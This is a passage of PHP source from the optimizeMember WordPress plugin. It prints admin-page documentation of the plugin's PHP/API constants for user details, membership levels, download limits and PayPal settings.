										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_DISPLAY_NAME</strong><br />This will always be a (string) containing the current User\'s Display Name. Empty if not logged in.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_FIRST_NAME</strong><br />This will always be a (string) containing the current User\'s First Name. Empty if not logged in.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_LAST_NAME</strong><br />This will always be a (string) containing the current User\'s Last Name. Empty if not logged in.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_LOGIN</strong><br />This will always be a (string) containing the current User\'s Username. Empty if not logged in.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_EMAIL</strong><br />This will always be a (string) containing the current User\'s Email Address. Empty if not logged in.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_IP</strong><br />This will always be a (string) containing the current User\'s IP Address, even when/if NOT logged-in. Taken from <code>$_SERVER["REMOTE_ADDR"]</code>. Empty if browsing anonymously.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_REGISTRATION_IP</strong><br />This is a (string) containing the IP Address the current User had at the time they registered. Taken from <code>$_SERVER["REMOTE_ADDR"]</code>. Empty if not logged in.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_ID</strong><br />This will always be an (int) containing the current User\'s ID# in WordPress. However, it will be 0 if not logged in.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										#echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_FIELDS</strong><br />This will always be a JSON encoded array, in (string) format. An empty JSON encoded array, in (string) format, if not logged in. This JSON encoded array will contain the following fields: <code>id, ip, reg_ip, email, login, first_name, last_name, display_name, subscr_id, subscr_or_wp_id, subscr_gateway, custom</code>. If you\'ve configured additional Custom Fields, those Custom Fields will also be added to this array. You can do <code>print_r(json_decode(OPTIMIZEMEMBER_CURRENT_USER_FIELDS, true));</code> to get a full list for testing.</p>' . "\n";
										/**/
										#echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_DOWNLOADS_ALLOWED</strong><br />This will always be an (int) value >= 0. This indicates how many unique files they\'re allowed to download. 0 means no access.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_DOWNLOADS_ALLOWED_IS_UNLIMITED</strong><br />This will always be (bool) true or false. A value of true means their allowed downloads are >= 999999999, and false means it is not. This is useful if you are allowing unlimited ( 999999999 ) downloads on some Membership Levels. You can display `Unlimited` instead of a number.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_DOWNLOADS_CURRENTLY</strong><br />This will always be an (int) value >= 0. This indicates how many unique files they\'ve downloaded in the current period.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_DOWNLOADS_ALLOWED_DAYS</strong><br />This will always be an (int) value >= 0. This indicates how many total days make up the current period. 0 means no access.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_PROFILE_MODIFICATION_PAGE_URL</strong><br />This is a Stand-Alone URL where a User can modify their Profile. In addition to this Stand-Alone version, optimizeMember also makes a Shortcode available which produces an Inline Profile Editing Form. Use <code>[optimizeMember-Profile /]</code> in any Post/Page, or even in a Text Widget if you like.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_FILE_DOWNLOAD_LIMIT_EXCEEDED_PAGE_URL</strong><br />This is the full URL to the Limit Exceeded Page ( informational ).</p>' . "\n";
										echo '<p><strong>OPTIMIZEMEMBER_FILE_DOWNLOAD_LIMIT_EXCEEDED_PAGE_ID</strong><br />This is the Page ID that was used to generate the full URL.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_MEMBERSHIP_OPTIONS_PAGE_URL</strong><br />This is the full URL to the Membership Options Page ( the signup page ).</p>' . "\n";
										echo '<p><strong>OPTIMIZEMEMBER_MEMBERSHIP_OPTIONS_PAGE_ID</strong><br />This is the Page ID that was used to generate the full URL.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_LOGIN_WELCOME_PAGE_URL</strong><br />This is the full URL to the Login Welcome Page ( the User\'s account page ). * This could also be the full URL to a Special Redirection URL ( if you configured one ). See <code>optimizeMember -> General Options -> Login Welcome Page</code>.</p>' . "\n";
										echo '<p><strong>OPTIMIZEMEMBER_LOGIN_WELCOME_PAGE_ID</strong><br />This is the Page ID that was used to generate the full URL. * In the case of a Special Redirection URL, this ID is not really applicable.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_LOGIN_PAGE_URL</strong><br />This is the full URL to the Membership Login Page ( the WordPress login page ).</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_LOGOUT_PAGE_URL</strong><br />This is the full URL to the Membership Logout Page ( the WordPress logout page ).</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_LEVELn_LABEL</strong><br />This is the (string) Label that you configured for a particular Membership Level #. Replace <code>n</code> with a numeric Membership Level #.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_LEVELn_FILE_DOWNLOADS_ALLOWED</strong><br />This is the (int) allowed downloads for a particular Membership Level #. Replace <code>n</code> with a numeric Membership Level #.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_LEVELn_FILE_DOWNLOADS_ALLOWED_DAYS</strong><br />This is the (int) allowed download days for a particular Membership Level #. Replace <code>n</code> with a numeric Membership Level #.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_FILE_DOWNLOAD_INLINE_EXTENSIONS</strong><br />This is the (string) list of extensions to display inline.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_REG_EMAIL_FROM_NAME</strong><br />This is the Name that outgoing email messages are sent by.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_REG_EMAIL_FROM_EMAIL</strong><br />This is the Email Address that outgoing messages are sent by.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_NOTIFY_URL</strong><br />This is the URL on your system that receives PayPal IPN responses.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_RETURN_URL</strong><br />This is the URL on your system that receives PayPal return variables.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_BUSINESS</strong><br />This is the Email Address that identifies your PayPal Business.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_ENDPOINT</strong><br />PayPal Endpoint Domain <em>( changes when Sandbox Mode is enabled )</em>.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_API_ENDPOINT</strong><br />PayPal API Endpoint Domain <em>( changes when Sandbox Mode is enabled )</em>.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_API_USERNAME</strong><br />This is the API Username associated with your PayPal Business.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_API_PASSWORD</strong><br />This is the API Password associated with your PayPal Business.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_API_SIGNATURE</strong><br />This is the API Signature associated with your PayPal Business.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_PDT_IDENTITY_TOKEN</strong><br />This is the PDT Identity Token associated with your PayPal Business.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_during_list_of_api_constants_farm", get_defined_vars ());
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_VALUE_FOR_PP_ON0</strong> ... This auto-fills the <code>on0</code> value in PayPal Button Codes. If a Button Code is presented to a logged-in Member, this will auto-fill the value for the <code>on0</code> input variable, with the string: <code>"Referencing Customer ID"</code>. Otherwise, it will be set to a default value of: <code>"Originating Domain"</code>.</p>' . "\n";
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_VALUE_FOR_PP_OS0</strong> ... This auto-fills the <code>os0</code> value in PayPal Button Codes. If a Button Code is presented to a logged-in Member, this will auto-fill the value for the <code>os0</code> input variable, with the value of <code>OPTIMIZEMEMBER_CURRENT_USER_SUBSCR_OR_WP_ID</code>. Otherwise, it will be set to a default value of <code>$_SERVER["HTTP_HOST"]</code> <em>( the originating domain name )</em>.</p>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_VALUE_FOR_PP_ON1</strong> ... This auto-fills the <code>on1</code> value in PayPal Button Codes. This always contains the string: <code>"Customer IP Address"</code>.</p>' . "\n";
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_VALUE_FOR_PP_OS1</strong> ... This auto-fills the <code>os1</code> value in PayPal Button Codes. This always contains the value of <code>$_SERVER["REMOTE_ADDR"]</code> <em>( the Customer\'s IP address )</em>.</p>' . "\n";
										/**/
										echo '<p><em>These four Constants above are special. They\'re used by the PayPal Button Generator for optimizeMember. This is how optimizeMember identifies an existing Member ( and/or a Free Subscriber ), who is already logged in when they click a PayPal Modification Button that was generated for you by optimizeMember. Instead of forcing a Member ( and/or a Free Subscriber ) to re-register for a new account, optimizeMember can identify their existing account, and update it, according to the modified terms in your Button Code. Specifically, these three Button Code parameters: <code>on0, os0, modify</code>, work together in harmony. If you\'re using the Shortcode Format for PayPal Buttons, you won\'t even see these, because they\'re added internally by the Shortcode processor. Anyway, they\'re just documented here for clarity; you probably won\'t use these directly; the Button Generator pops them in.</em></p>' . "\n";
										/**/
										echo '</div>' . "\n";
										/**/
										echo '</div>' . "\n";
									}
								else /* Otherwise, we can display the standardized version of this information. */
									{
										echo '<div class="ws-menu-page-group" title="optimizeMember PHP/API Constants">' . "\n";
										/**/
										echo '<div class="ws-menu-page-section ws-plugin--optimizemember-api-constants-section">' . "\n";
										echo '<h3>You Have Access To PHP Constants ( some PHP scripting required )</h3>' . "\n";
										echo '<p>A Constant, is an identifier <em>( i.e. a name )</em> for a simple value in PHP scripting. Below is a comprehensive list that includes all of the PHP defined Constants available to you. All of these Constants are also available through JavaScript as Global Variables. Example code has been provided in the documentation below. If you\'re a web developer, we suggest using some of these Constants in the creation of your Login Welcome Page; which is described in the optimizeMember General Options Panel. These are NOT required, but you can get pretty creative with the Login Welcome Page, if you know a little PHP.</p>' . "\n";
										echo '<p>If you don\'t know any PHP, you can use the <code>[opmGet constant="NAME_OF_CONSTANT" /]</code> Shortcode for WordPress. For example, you might use <code>[opmGet constant="OPTIMIZEMEMBER_CURRENT_USER_ACCESS_LABEL" /]</code> to display the type of Membership a Customer has. The <code>[opmGet constant="" /]</code> Shortcode will work for any of the API Constants documented below.</p>' . "\n";
										do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_during_api_constants", get_defined_vars ());
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p>Before you read any further, you should install this handy plugin: <a href="http://wordpress.org/extend/plugins/php-execution-plugin/" target="_blank" rel="external">PHP Execution</a>.<br />' . "\n";
										echo 'You\'ll need to have this plugin installed to use PHP code in Posts/Pages.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										//echo '<p><strong>TIP:</strong> In addition to this documentation, you may also want to have a look at the <a href="http://www.optimizepress.com/codex/" target="_blank" rel="external">optimizeMember Codex</a>.<br />' . "\n";
										//echo '<strong>See Also:</strong> <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_constants/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Constants</a>, and <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_functions/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Functions</a>.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_VERSION</strong><br />This will always be a (string) with the current optimizeMember version. Available since optimizeMember 3.0. Dated versions began with optimizeMember v110604.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/version.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_LOGIN_COUNTER</strong><br />This will always be (int) <code>-1</code> or higher <em>( representing the number of times a User/Member has logged into your site )</em>. <code>-1</code> if no User is logged in. <code>0</code> if the current User has NEVER logged in.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-login-counter.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_IS_LOGGED_IN</strong><br />This will always be (bool) true or false. True if a User/Member is currently logged in with an Access Level >= 0.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-is-logged-in.x-php")) . '</p>' . "\n";
										echo '<p><em>See: <code>OPTIMIZEMEMBER_CURRENT_USER_ACCESS_LEVEL</code> below for a full explanation.</em></p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_IS_LOGGED_IN_AS_MEMBER</strong><br />This will always be (bool) true or false. True if a Member is currently logged in with an Access Level >= 1.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-is-logged-in-as-member.x-php")) . '</p>' . "\n";
										echo '<p><em>See: <code>OPTIMIZEMEMBER_CURRENT_USER_ACCESS_LEVEL</code> below for a full explanation.</em></p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_ACCESS_LEVEL</strong><br />This will always be (int) <code>-1</code> thru <code>4</code> <em>( or, up to the total number Membership Levels you\'ve configured )</em>. <code>-1</code> if not logged in. <code>0</code> if logged in as a Free Subscriber.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-access-level.x-php")) . '</p>' . "\n";
										echo '<p><strong>Membership Levels provide incremental access:</strong></p>' . "\n";
										echo '<p>* A Member with Level 4 access, will also be able to access Levels 0, 1, 2 &amp; 3.<br />* A Member with Level 3 access, will also be able to access Levels 0, 1 &amp; 2.<br />* A Member with Level 2 access, will also be able to access Levels 0 &amp; 1.<br />* A Member with Level 1 access, will also be able to access Level 0.<br />* A Subscriber with Level 0 access, will ONLY be able to access Level 0.<br />* A public Visitor will have NO access to protected content.</p>' . "\n";
										echo '<p><em>* WordPress Subscribers are at Membership Level 0. If you\'re allowing Open Registration, Subscribers will be at Level 0 ( a Free Subscriber ). WordPress Administrators, Editors, Authors, and Contributors have Level 4 access, with respect to optimizeMember. All of their other Roles/Capabilities are left untouched.</em></p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_ACCESS_LABEL</strong><br />This will always be a (string) containing the Membership Label associated with the current User\'s account. Empty if not logged in.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-access-label.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_SUBSCR_ID</strong><br />This will always be a (string) containing the current User\'s Paid Subscr. ID. If they\'ve NOT paid yet, this will be an empty string. Also empty if not logged in.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-subscr-id.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_SUBSCR_OR_WP_ID</strong><br />This will always be a (string) containing the current User\'s Paid Subscr. ID. If they\'ve NOT paid yet, this will be their WordPress User ID#. Empty if not logged in.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-subscr-or-wp-id.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_SUBSCR_GATEWAY</strong><br />This will always be a (string) containing the current User\'s Paid Subscr. Gateway. If they\'ve NOT paid yet, this will be empty. Empty if not logged in.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-subscr-gateway.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_CUSTOM</strong><br />This will always be a (string) containing the current User\'s Custom String; associated with their optimizeMember Profile. Empty if not logged in.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-custom.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_REGISTRATION_TIME</strong><br />This will always be an (int); in the form of a Unix timestamp. 0 if not logged in. This holds the recorded time at which the User originally registered their Username for access to your site; for free or otherwise. This is useful if you want to drip content over an extended period of time, based on how long someone has been registered (period); regardless of whether they are/were paying you. <strong>* Note:</strong> this is NOT the same as <code>OPTIMIZEMEMBER_CURRENT_USER_PAID_REGISTRATION_TIME</code>, which could be used as an alternative, depending on your intended usage.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-registration-time.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_REGISTRATION_DAYS</strong><br />This will always be an (int). 0 if not logged in. This is the number of days that have passed since the User originally registered their Username for access to your site; for free or otherwise. This is useful if you want to drip content over an extended period of time, based on how long someone has been registered (period); regardless of whether they are/were paying you. <strong>* Note:</strong> this is NOT the same as <code>OPTIMIZEMEMBER_CURRENT_USER_PAID_REGISTRATION_DAYS</code>, which could be used as an alternative, depending on your intended usage.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-registration-days.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_PAID_REGISTRATION_TIME</strong><br />This will always be an (int); in the form of a Unix timestamp. However, this will be 0 if they\'re not logged in; or if they\'ve never paid you at all <em>( i.e. if they\'re still a Free Subscriber )</em>. This holds the recorded time at which the Member originally registered their Username (or upgraded for) any type of "paid" access to your site. This value is preserved for the lifetime of their account, even if they upgrade, and even if they\'re demoted at some point. Once this value is recorded, it never changes under any circumstance. This is useful if you want to drip content over an extended period of time, based on how long someone has been a "paying" Member (period); regardless of their original or existing Membership Level. <strong>* Note:</strong> this is NOT the same as <code>OPTIMIZEMEMBER_CURRENT_USER_REGISTRATION_TIME</code>, which could be used as an alternative, depending on your intended usage.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-paid-registration-time.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_PAID_REGISTRATION_DAYS</strong><br />This will always be an (int); in the form of a Unix timestamp. However, this will be 0 if they\'re not logged in; or if they\'ve never paid you at all <em>( i.e. if they\'re still a Free Subscriber )</em>. This is the number of days that have passed since the Member originally registered their Username (or upgraded for) any type of "paid" access to your site. The underlying timestamp behind this value is preserved for the lifetime of their account, even if they upgrade, and even if they\'re demoted at some point. Once the underlying timestamp behind this value is recorded, it never changes under any circumstance. This is useful if you want to drip content over an extended period of time, based on how long someone has been a "paying" Member (period); regardless of their original or existing Membership Level. <strong>* Note:</strong> this is NOT the same as <code>OPTIMIZEMEMBER_CURRENT_USER_REGISTRATION_DAYS</code>, which could be used as an alternative, depending on your intended usage.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-paid-registration-days.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_DISPLAY_NAME</strong><br />This will always be a (string) containing the current User\'s Display Name. Empty if not logged in.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-display-name.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_FIRST_NAME</strong><br />This will always be a (string) containing the current User\'s First Name. Empty if not logged in.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-first-name.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_LAST_NAME</strong><br />This will always be a (string) containing the current User\'s Last Name. Empty if not logged in.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-last-name.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_LOGIN</strong><br />This will always be a (string) containing the current User\'s Username. Empty if not logged in.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-login.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_EMAIL</strong><br />This will always be a (string) containing the current User\'s Email Address. Empty if not logged in.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-email.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_IP</strong><br />This will always be a (string) containing the current User\'s IP Address, even when/if NOT logged in. Taken from <code>$_SERVER["REMOTE_ADDR"]</code>. Empty if browsing anonymously.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-ip.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_REGISTRATION_IP</strong><br />This will always be a (string) containing the current User\'s original IP Address during registration. Taken from <code>$_SERVER["REMOTE_ADDR"]</code>. Empty if not logged in.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-registration-ip.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_ID</strong><br />This will always be an (int) containing the current User\'s ID# in WordPress. However, it will be 0 if not logged in.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-id.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_FIELDS</strong><br />This will always be a JSON encoded array, in (string) format. An empty JSON encoded array, in (string) format, if not logged in. This JSON encoded array will contain the following fields: <code>id, ip, reg_ip, email, login, first_name, last_name, display_name, subscr_id, subscr_or_wp_id, subscr_gateway, custom</code>. If you\'ve configured additional Custom Fields, those Custom Fields will also be added to this array. You can do <code>print_r(json_decode(OPTIMIZEMEMBER_CURRENT_USER_FIELDS, true));</code> to get a full list for testing.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-fields.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_DOWNLOADS_ALLOWED</strong><br />This will always be an (int) value >= 0. This indicates how many unique files they\'re allowed to download. 0 means no access.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-downloads-allowed.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_DOWNLOADS_ALLOWED_IS_UNLIMITED</strong><br />This will always be (bool) true or false. A value of true means their allowed downloads are >= 999999999, and false means it is not. This is useful if you are allowing unlimited ( 999999999 ) downloads on some Membership Levels. You can display `Unlimited` instead of a number.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-downloads-allowed-is-unlimited.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_DOWNLOADS_CURRENTLY</strong><br />This will always be an (int) value >= 0. This indicates how many unique files they\'ve downloaded in the current period.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-downloads-currently.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_DOWNLOADS_ALLOWED_DAYS</strong><br />This will always be an (int) value >= 0. This indicates how many total days make up the current period. 0 means no access.</p>' . "\n";
